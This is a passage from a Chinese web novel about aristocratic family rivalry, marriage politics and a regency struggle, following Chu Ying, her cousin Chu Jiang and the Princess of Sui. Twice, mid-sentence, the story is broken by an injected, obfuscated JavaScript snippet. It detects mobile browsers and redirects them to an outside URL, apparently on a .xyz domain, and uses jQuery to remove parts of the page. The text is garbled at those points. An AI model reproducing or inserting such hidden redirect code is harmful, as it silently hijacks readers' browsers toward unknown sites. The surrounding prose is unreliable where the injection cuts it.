他是行伍里长大的郎君,没有恋栈华宅美业的心思。褚鹦走了,园林大失颜色,他已经没必要继续留在康乐坊了。 虽然太学生们不太喜欢他……或者说,他们是在冷漠地排挤他? 但是无所谓。 他来太学,本就不是来交朋友的。 书舍里藏书很多,赵煊很珍惜阅读珍贵兵书的机会——平日里,他可是很难找到这些书的。 而且他心里有数,他的境遇很快就回赢来转机。 褚家不会看着未来姑爷被人冷眼相待的。 至少他未来岳父不会容许这样的事情。 褚定远很爱五娘子。 而他,与五娘子一荣俱荣,一损俱损。 他觉得他和褚鹦更相配了。 褚鹦是在亲情里长大的娘子。 而他,是在阿父的呵护下长大的郎君。 在家人爱护下长大的人,大抵都拥有传递喜爱之情的能力。 赵煊愿意和褚五这样野心勃勃、精力满满的女孩子结缘,但他不愿意和冷漠无情的女子联姻。 拯救绝境中人,听起来很梦幻很热血,做起来却很难,赵煊才不是没苦硬吃的郎君。 可能是因为他们太年轻,可能是因为他们都沐浴过爱,所以他们都有勇气尝试相思,尝试喜爱。 这种感觉非常美好,一见钟情,目成心许,赵煊放纵自己沉浸在褚鹦宛若三月春花的笑容里。 他还年轻,不用那么谨慎。 他不希望自己因为过于谨慎错失良机,到了白发苍苍时,再后悔自己没在最好的年华喜欢上最好的人。 是的,最好的人就是褚鹦。 她值得被人喜欢,值得被爱。 她很博学,十三经都是读通了的。 她很慈悲,不会瞧不起寒门老兵,愿意和他们的妻子交谈,给可怜人提供更多生路。 她很潇洒,穿胡装出门时居然有小娘子向她投花掷果。她很美丽,眉眼盈盈处,便是秋波绿水,惊鸿照影来。 而让赵煊念念不忘的,是他们第一次出门踏青的经历。 那天他们在外面用餐,他给褚鹦准备了上好的蒲桃酒。 碧空万里,他们对饮小酌,她的笑容比阳光还明媚,酒过三巡,她微醺道:“我想让这片养育我的土地,也尝尝蒲桃酒的芬芳。” 金杯倾洒出红宝石颜色的酒水,褚鹦拈土祭奠脚下的土地。 “厚土育我,我与尔美酒;厚土养我,我与尔美辞;愿社稷兴,愿稻谷长,愿厚土皇天亿万岁,尽安我心曲。” 赵煊竟觉得她身上有一种难言的神性。 即便她薄醉微醺,即便她眼神惺忪,但她真的很像石窟壁画上的菩萨。 小观音。 赵煊心里想,她合该是小观音。 但他不敢这样叫她,给未成婚的女孩子取小字,实在太过逾礼。 赵煊不希望褚鹦觉得他轻狂,更不希望褚鹦觉得他不是君子。 他打听过,韦靖,杨坤……爱慕褚鹦的郎君还真不少。 光看出身,他比不上他们这些五姓出身的嫡系郎君。 但是他真心喜爱褚鹦的。 而且,他很理解褚鹦的野心。 明明拥有同样才具,凭什么只因为身份,就失去了竞争的机会? 他是因为出身,褚鹦是因为性别。 或许别的那些郎君能包容妻子的不安分,或许他们不能。但他的包容建立在理解上,他与褚鹦惺惺相惜,而那些高门郎君做不到这一点。 褚鹦迟早有一天会知道,他才是最适合她的人。 他们才是天生一对。 至于那些人,什么王荣,什么韦靖,不过过客而已。 褚定远的职位定了下来。 在外宦游的褚清和褚江也收到了新的调令。 他们不约而同地做出了同样的选择,轻车简行,快马扬鞭,只求尽快归京。 因万城距离建业远比盐渎距离建业近,所以褚江是先到家的那个。 刚下马车,褚江就背负荆条,膝行至明谨堂前。 “你有什么错,需要负荆请罪?” 荆条粗砺,扎破了褚江的脊背,衣服被鲜红的血濡湿。 褚蕴之看着,还是心疼的。 褚江他,好歹是长房长孙。 他对褚江的感情,自然还是有些不同的。 但一码归一码,心疼不代表褚蕴之赞同褚江的做法。 从辕门到明谨堂,一路上不知有多少奴婢往来行走。褚江做出这样的姿态,岂不是惹得家生奴婢笑话主家! “阿母犯错,做儿子的要与阿母一起接受惩罚;阿妹犯错,做兄长的有教导不力的罪过。” “我知大父召我归京,可能是担心孙儿惊惧之下,做出什么不可挽回的错事。” “但我是褚家的儿郎,即便身处逆境,也不会背叛家族,还望大父明鉴。” 褚江外任的万城,毗邻简亲王封地,褚蕴之召他回建业,的确有担心褚江铤而走险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289657|182566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的意味在。 而现在,褚江回来了。 不但回来了,还说出来这么一段情真意切的话语,做出了这么一副悲哀可怜的姿态。 看着褚江青黑的眼底,褚蕴之忽然不想追究褚江那些小心思和小动作了。 这孩子也是遭受了无妄之灾。 二十出头的小郎君,临事能有什么定计? 褚江的表现已经很不错了。 但凡老大有他儿子半分心胸,他根本不至于废长立幼…… “我安排你去麟台做舍人,虽非权要,但很清贵,是个修养身心的好职位。” “阿江,你很是不必用你阿母和你妹妹的过错惩罚自己。” “我会为你聘娶一位贤良淑德的女子,你……阿江,我只希望你不要……” 褚蕴之的话,突然停了下来。 他想说,我希望你不要走了你父亲的老路。可这样的话,褚蕴之怎能和孙子讲? 褚江的母亲郑夫人,不是褚蕴之定下的儿媳,更不是已经故去的褚夫人定下的儿媳,她是褚定方自己相中的妻子。 上巳节马车相撞,遥遥一顾便是倾心。褚定方自己跑回来,说他想娶郑家娘子。 那个时候,两家门当户对,所有人都觉得这是姻缘天定。现在看来,这桩婚事落定的,还是太过潦草了。 德行,才是比容貌、才智,甚至门第更重要的东西。 褚蕴之悟透这个道理,悟透得太晚了。 当时若谨慎些,褚定方是不是就不会娶郑氏了? 但他废长立幼,是因为褚定方的才具平平,是因为褚定方的优柔寡断。 郑氏和褚鹂的事情只是导火索,根本不是他废弃褚定方的根本。 或许没有郑氏,他们父子两人,还是会走到今天的地步。 罢,罢,罢,这种事和儿郎说什么? 光看褚江的小心思,就知道褚江和褚鹦一样,是个有成算有心计的。 对这样年轻人来说,夫族或妻族是一块很大的筹码。 像褚江他们这样的人,是不可能浪费筹码的。 “回去吧,你回安园去,我会派疾医过去为你疗伤。” “是,大父,孙儿多谢大父体贴。” 忍着背上的疼痛,褚江在仆役的搀扶下离开明谨堂。 望着孙儿蹒跚的背影,褚蕴之对褚江道:“阿江,不要让我失望。” 褚江的眼泪忍不住落了下来,他没有回头,带着哭腔道:“我会的。” 褚江离开明谨堂后,褚鹦从屏风后面走了出来。 她今天穿着豆绿竹纹曲裾,只用一根翠玉簪子固定头发,没佩戴耳珰、环佩等饰品,整体看上去非常朴素清新。 “你怎么看你这个从兄?” 是我们二房的心腹大患。 “从兄是我们褚家的麒麟儿。” 褚蕴之凝神看着孙女:“五娘,这可不像你的真心话。” “大父,师父教导过我,臧否才具,不能致由自己的心意。” “阿江堂兄能忍、善谋,遭遇逆境还面不改色,这样的奇才,当然是我们褚家的麒麟儿。” “我感觉我们很像,我们都是喜欢弄险的人。” 弄险?这个词,用得很贴切。 不论是褚鹦前些天的“犯颜直谏”,还是今天褚江的“负荆请罪”,都带着弄险的意味。 但未来,褚鹦会去赵家弄险,褚江却是在褚家弄险。 这个时候,褚鹦说这种话,本身就带着幽微难明的意味。 她在挑拨。 而这种挑拨的行为,本身就是她爱弄险的佐证,更是在提醒褚蕴之,褚江同样是个爱弄险的人。 褚蕴之轻声呢喃道:“我知道了。” 他定了定神,脑海中浮现出另一件事。 “阿鹦,你和长公主殿下,好像是忘年交?” 14.第 14 章 “三年前,孙女与长公主殿下在杨家老夫人的寿宴上结识,后来变成了朋友。” “说起来,我还是通过长公主殿下认识白夫人的呢。” 褚蕴之心里想,那还真是一段孽缘。 不过,他看褚鹦提起王家人时态度很是平和,貌似已经把过去的事情全放下了。 拿得起放得下,这样就很好。 褚蕴之想问的人是隋国长公主,并非王家的白夫人。他想,他没必要多提王家的事,勾起孙女的伤怀。 于是,褚蕴之接着说起正题:“五娘子,你怎么看待太后娘娘?” 太后娘娘? 在褚鹦心里,虞太后娘娘是个政客,与郑戏才、王正清、褚蕴之他们这相公没有任何区别。 而在长公主的描述中,虞太后是个好母亲。 褚鹦觉得,对皇室魏家嫡系一脉来说,太后娘娘绝对是功大于过的。 在皇帝多病,皇后软弱的前提下,没有太后娘娘临朝称制,简亲王早就恶紫夺朱,当上南梁第一位摄政王了。 但在那些唠叨着“牝鸡司晨”、“国赖长君”的臣子眼里,虞太后是个怙恶不悛的反派角色。 若非如此,简亲王不会拥有这么多拥簇。 只是,褚鹦不知道褚蕴之秉承的观点是什么,因而不好直接回答褚蕴之的问题。 思忖片刻,褚鹦提出了两个问题。 “大父,简亲王又上书要求太后归政了吗?” “还是皇帝陛下的头风更严重了?” 褚鹦没有直接回答褚蕴之的问题,但她问的两个反问,已经说明了她内心深处的态度。 她更赞同虞太后。 “如果我没猜错的话,这两件事情,前者即将发生。” “而后者,大概已经发生了!” “太后娘娘有意调萧裕做御林军左军都督,调张桥做御林军右军都督。名义上,太后娘娘是要选拔能力出众的良将保护陛下的安全。可是,若非树欲静而风不止,太后娘娘又何必着急把亲信都调到身边宿卫!” “五娘子,去向长公主殿下表达一下褚家的态度吧。” “我不看好简亲王能成事,皇帝膝下不是没有儿子,在这种情况下,高门世族不会跟着他冒险,寒门学士更不会拿自己水里火里挣出来的前程上桌赌博。只有一无所有的人才会贪天之功,而那些人,又有什么用?” “简亲王拥有再多的令声美誉,也很难改天换日。我想请公主殿下转告娘娘,若禁中有变,请早立国本,我和沈相公会全力相助此事。” “否则,简亲王虽然没办法改朝换代,但很可能夺走一部分权力,甚至再次觊觎起摄政王的位置……” “是,大父,明天我就前往长公主府,向公主言明此事。” 褚鹦的心脏,突然开始剧烈地跳动。 从康乐坊别业归来后,她得到了跟随褚蕴之听事的机会。她知道,这是大父给她的投资与补偿。 她很争气,不过短短两个月时间,她就已经把京中复杂的人事关系全都牢牢地记到了心里。 所以,在听褚蕴之讲述朝事时,她脑海里下意识浮现出相关人士的信息。 萧裕是虞太后嫡亲姐姐的丈夫,张桥是虞太后亲自提拔的乐户。 虞太后把这两人送进御林军,代表皇帝陛下的身体情况已经很糟糕了。 在这种情况下,简亲王会蠢蠢欲动,简直再正常不过。 毕竟,先帝多年无子,差点都要立简亲王为皇太弟了——这也是简亲王党羽颇多的根源。结果当时,还是虞妃的虞太后老蚌生珠,生下身体孱弱的今上,直接打碎了简亲王的皇帝梦。 简亲王焉能不恨? 他的野心,怎么可能平复得下去? 所以他和太后对着干,所以他想当摄政王,所以他传出那些似是而非的“国赖长君”的口号。 偏生太后拿他没办法,简亲王手里没有兵权,可他在当预备役皇太弟时,积攒下许多势力人望。 在没有确凿的谋反证据时,虞太后也不能拿他怎么样…… 褚鹦想,大父把阿江堂兄安排到麟台,未尝没有防备长房“铤而走险”的意思。 麟台清贵,不是权要之地。就算简亲王作乱,也不会去找褚江这个麟台官。 当然,褚江能够得到这个不错的位置,主要还是因为大父的怜惜。 褚鹦对这一点心知肚明。 事实上,她从来都没指望过褚蕴之彻底放弃长房,更没奢望过能把长房一棒子打死,彻底断掉褚江的前程。 一来,他们家和长房一家,归根结底都姓褚。现在的局面,对二房来说已经很不错了,褚鹦没必要把事情做得太绝。 真把人逼得退无可退,人家扮演豫让跑去刺杀皇帝,他们褚家被刑部以谋反罪论处,大家一起玩完,岂不是更糟? 二来,褚蕴之废长立幼的根源,是他对褚定方积攒下来的不满。而这,和褚江,和整个长房都没有直接的联系。 当初,褚鹦和褚蕴之谈条件时把褚江捎带上,无非是为了讨价还价。 从始至终,她都不认为褚蕴之会放弃褚江。 手心手背都是肉,伯父褚定方,也是大父的儿子呀! 褚江,就是褚蕴之留给长房一家的希望。 回到三思楼后,褚鹦托腮想,她与大父说的话,不全都是挑拨。 那些话,的确是她的真心话。 褚江很危险,不论是弟弟褚澄,还是在外宦游的哥哥褚清、褚源,都没有他们这位堂兄有心机。 大哥褚清还有通过后天的努力追上来的可能,但满腔正气的褚源和心思澄澈的褚澄根本没办法指望。 褚鹦忍不住皱起眉,她把头放到阿谷膝上,任由阿谷为她按摩,在秋梨香的清甜气息中,她的精神渐渐松弛下来。 褚江有心机,并不全是坏事。 有心机就知道权衡利弊,知道权衡利弊就会明白阿父对褚家的重要性。 在没成长起来之前,褚江就算有小动作,也不会铤而走险,更不会摧残褚家的根基,以至耽误了自己的前程。 而他们二房的郎君,只要始终都压褚江一头,就不用担心褚江的报复。 光是看褚江回到建业后,既没嚷嚷着要去看母亲,又没嚷嚷着要去看妹妹,而是背着荆条跑到大父面前卖惨,就知道他的性格底色了。 这样的人,是不会拼命的。 更何况现在,在褚家第三代的竞争中,褚清已经占据了全面优势。 如果这样阿兄还能输的话……那他就不用和褚江争了。 因为,可能还没到阿兄和褚江争到你死我活,他就已经死到了外人手里。 有大父调控,褚家内部的竞争烈度是可控的,但到了外面,哪有人控制竞争烈度,哪有人做喊停的裁判? 三家分晋,楚汉之争,在权力的斗兽场上,向来是要么应有尽有,要么一无所有。 煌煌史册上记载的道理,阿兄和褚江,应该比她更明白。 隋国长公主魏元意今年三十三岁,正是风华正茂的年纪。她生着一双丹凤眼,相貌神情都像虞太后。 只日常装扮不大相像。 虞太后喜欢稳重的、华丽的服饰,公主与驸马王芸琴瑟和鸣,更爱穿驸马喜欢的清淡雅致装束。 魏元意和褚鹦脾气秉性都很投契,所以,当白夫人提出想聘娶褚鹦做儿媳时,她极力撮合两家联姻,多次邀请杜夫人上门,言说这桩婚事的好处。 比如说王荣那郎君姿容甚美啦,比如说王荣是老来子在王家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298941|182566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很受宠爱啦,比如说她和白夫人都喜欢褚鹦,褚鹦嫁过来人际关系好处理啦…… 如此种种。 长公主想,若做了妯娌,亲上加亲,她和褚鹦的关系就更加亲密了。 扪心自问,王荣的才具是比不上褚鹦的。但褚鹦是女郎中的奇才,和她适龄,又门当户对,又貌美俊秀,又才华相当的郎君哪是那么好找的? 或者可以说是几乎没有。 但女孩子的好时候就这么几年,哪里耽误得起,去等四角齐全的好郎君出现? 王荣别的不说,相貌总是好的。 长身玉立,玉面修容,嫁给王荣,既不会吃苦,又能享受美郎,总不算吃亏。 褚鹦没反驳,杜夫人很同意,白夫人更是恨不得立刻把褚鹦娶到家里做儿媳,这桩婚事很快就达成了默契。 隋国长公主已经美美等待忘年手帕交嫁到王家,和她一起听曲、一起看貌美小郎君了! 结果王三那边出事了! 还是和人家堂姐勾搭上了! 他们王家出了这样不要脸的事,害得她都羞见小朋友,真是可恨。 要知道,隋国长公主几个女儿都是闺阁典范,个顶个的老实,跟着她听听雅乐看看百戏还可以,要是看漂亮小郎君,就全都张口结舌说不出话来了! 可这又有什么好大惊小怪的。 她又没养男宠…… 其他夫人闺秀,都和她家女孩儿差不多。 而那些过于离经叛道的女性宗亲,隋国大长公主又和他们玩不到一块去。 她和驸马的感情还是很好的,王家还是南朝第一高门,长公主不想养男宠破坏夫妻感情,更不能养男宠影响虞太后与王家的合作。 总而言之,褚鹦这样处处和她心意的听曲搭子是很难得的! 结果呢,她好心做媒人,却痛失忘年交,她焉能不气? 因为这件事,隋国大长公主在公主府里变着花样骂王荣。 她觉得自己一点都不过分,她没跑到道德坊暴打王荣已经很不错了! 驸马王芸只当自己没听到公主的骂声,甚至在心里暗道痛快! 他只是王荣的次兄,没道理像训儿子一样教训王荣。 亲亲相隐,外人试探他时,他只能对王荣的事情假装不知。 甚至!他还要在衙门里忍受褚定远的冷眼! 谁让他倒霉,和褚定远都在尚书台工部衙门任职! 他只觉公主骂的太对了。 这么多年,王家什么时候这么丢人过! 唯一值得庆幸的是,他还不是最倒霉的那个,阿兄家协儿才是最大的倒霉鬼。 听说,麟台新空出来的舍人之位,是阿父准备留给阿兄家里,正在国子监读书的三子阿协出仕途的清贵官阶。 可现在那个位置,已经落到了褚江手里。 而原本风闻褚蕴之给长房长孙谋取的凤阁中书舍人之位,即将授官给盐渎令褚清,也就是王荣原来的未婚妻褚鹦的胞兄。 凤阁的舍人比麟台的舍人尊贵,所以凤阁的中书舍人之位,是褚蕴之给褚家二房的补偿。 而这麟台舍人之位,虽无权势却很清显,俨然是王家弥补褚家的东西。 因王荣和褚鹂的丑事,阿协不得不继续待在国子监里养望,又要耽误好几年,阿兄怎么可能不生气? 虽然这样做很不道德,但想想别人的倒霉事,自己丢脸受气都没那么难受了。 只希望褚家娘子不要和公主绝交,要不然公主又要点十个八个教坊小郎君来唱曲“消愁”了。 虽然知道公主和他们没有任何不正当的关系,为了不让他生气,还会顺便给他点十个八个漂亮的舞女歌姬,但他只想和公主贴贴啊! 他又不是歌舞爱好者……